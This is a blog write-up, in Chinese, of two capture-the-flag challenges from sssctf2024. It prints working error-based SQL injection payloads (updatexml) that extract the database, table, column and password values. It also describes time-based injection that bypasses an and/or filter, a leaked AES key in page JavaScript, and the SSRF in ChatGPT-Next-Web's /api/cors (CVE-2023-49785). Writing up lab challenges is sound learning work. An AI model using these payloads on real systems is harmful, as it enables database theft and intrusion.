sssctf2024-复现

计费系统

这一页是没有注入的,只能sso登录

登陆之后直接进入/Self/service/myMac路由下寻找信息(前面的信息寻找过程略),发现存在隐写字符

这里要注意一下,零宽隐写字符的加密解密需要在同一个网页进行,说白了,用啥工具加密就用啥工具解密,当时做的时候忙着找各种网站尝试解密了,后面才试出来(所以下面的第一个工具会解出来乱码)

去到/Administrator/Login中查看信息

这里可能存在sql注入,可以尝试闭合

这里试出来是"闭合,根据返回的信息推测是布尔盲注

直接上payload

1
2
3
4
1" and updatexml(1,concat(0x7e,(select database()),0x7e),1);#  # ChallengeDatabase
1" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'ChallengeDatabase' limit 0,1),0x7e),1);# # users
1" and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'users' limit 0,1),0x7e),1);# # id,loginip,name,password,sso
1" and updatexml(1,concat(0x7e,substring((select password from users limit 0,1),0,40),0x7e),1);# 这里由于最大长度的限制,所以用到了substring来截取密码,把起始点和截取长度改一下就行 得到05d1b851-ef06-4460-9c30-4249086631d3

得到账户名和密码后发现以下界面

抓个包看看

注意到一个dashboard跳转,发现一个之前界面中没有的aes.js

查看发现有以下脚本

1
2
3
4
5
6
7
8
9
// const aes256cbcDecrypt = (encryptedData, key, iv) => {
// const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);
// return decryptedData;
// };
// const key = "a1e7091c4f39e1571f5d4eaf08c7b28c";
// const iv = "e8d4f92b75f64e7c";
// function readtokens(token) {
// return aes256cbcDecrypt(token, key, iv);
// }

这里用到了aes256cbc方式加密,可能在之前的界面中有输出,回去看一下

发现一串可疑字符串,猜测就是该加密方式下的密文,拿去解密一下

根据题目描述,所有账户的密码相同,flag为flag账户的密码,因此我们的账户密码也是flag,上面一串字符串就是

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def decipher_sssctf(str):
PRIMENUM1_SSSCTF = 100537
KEYWORD_SSSCTF = 45452
MIN_ASC = 32
MAX_ASC = 126
NUM_ASC = MAX_ASC - MIN_ASC + 1

result = ""
for i in range(len(str) - 1):
ch = ord(str[i])
if MIN_ASC <= ch <= MAX_ASC:
ch -= MIN_ASC
offset = round((NUM_ASC + 1) * ((KEYWORD_SSSCTF * (i + 1)) % PRIMENUM1_SSSCTF) / PRIMENUM1_SSSCTF - 0.5)
ch = (ch - offset) % NUM_ASC
if ch < 0:
ch += NUM_ASC
ch += MIN_ASC
result += chr(ch)
return result

# 示例用法
decrypted_string = decipher_sssctf("~Ju1m++tij_^%R!Cz@;e\/(TOutE>9.`.XSLKt@nf8asa")
print("Decrypted String:", decrypted_string)

根据之前出题人的提示,说可以爆出来。当时也尝试过,可惜的是解密算法没有写对,所以没有爆出来。。。

(当时考虑了keyword有可能是字符串的原因,所以后面就没怎么想了)

scr1wgpt

这里根据提示,发现过滤了or和and,考虑用||和&&绕过;由于登录界面只有login failed,所以考虑时间注入

脚本如下:(环境有点问题,略)

得到用户名密码分别为:Scr1w_adminsssctf2024_P@ssvv0rd

GPT那有一个CVE漏洞,为CVE-2023-49785

CVE-2023-49785

ChatGPT-Next-Web 的 API Endpoint /api/cors 上存在 SSRF 漏洞,可被用于从服务器端发起任意网络请求并取得响应内容。

/api/cors用于开放代理,允许未经身份验证的用户通过它发送任意HTTP请求,不过这会存在一个问题:它允许客户端通过服务器端端点访问跨域资源,从而绕过内置的浏览器保护以访问跨域资源。

例如下图:

由于题目告诉我们flag是被藏在scr1wgpt-web里,所以直接访问/api/cors/http/scr1wgpt-web/generator

作者

Ins0mn1a

发布于

2024-05-07

更新于

2024-07-31

许可协议

评论

:D 一言句子获取中...

加载中,最新评论有1分钟缓存...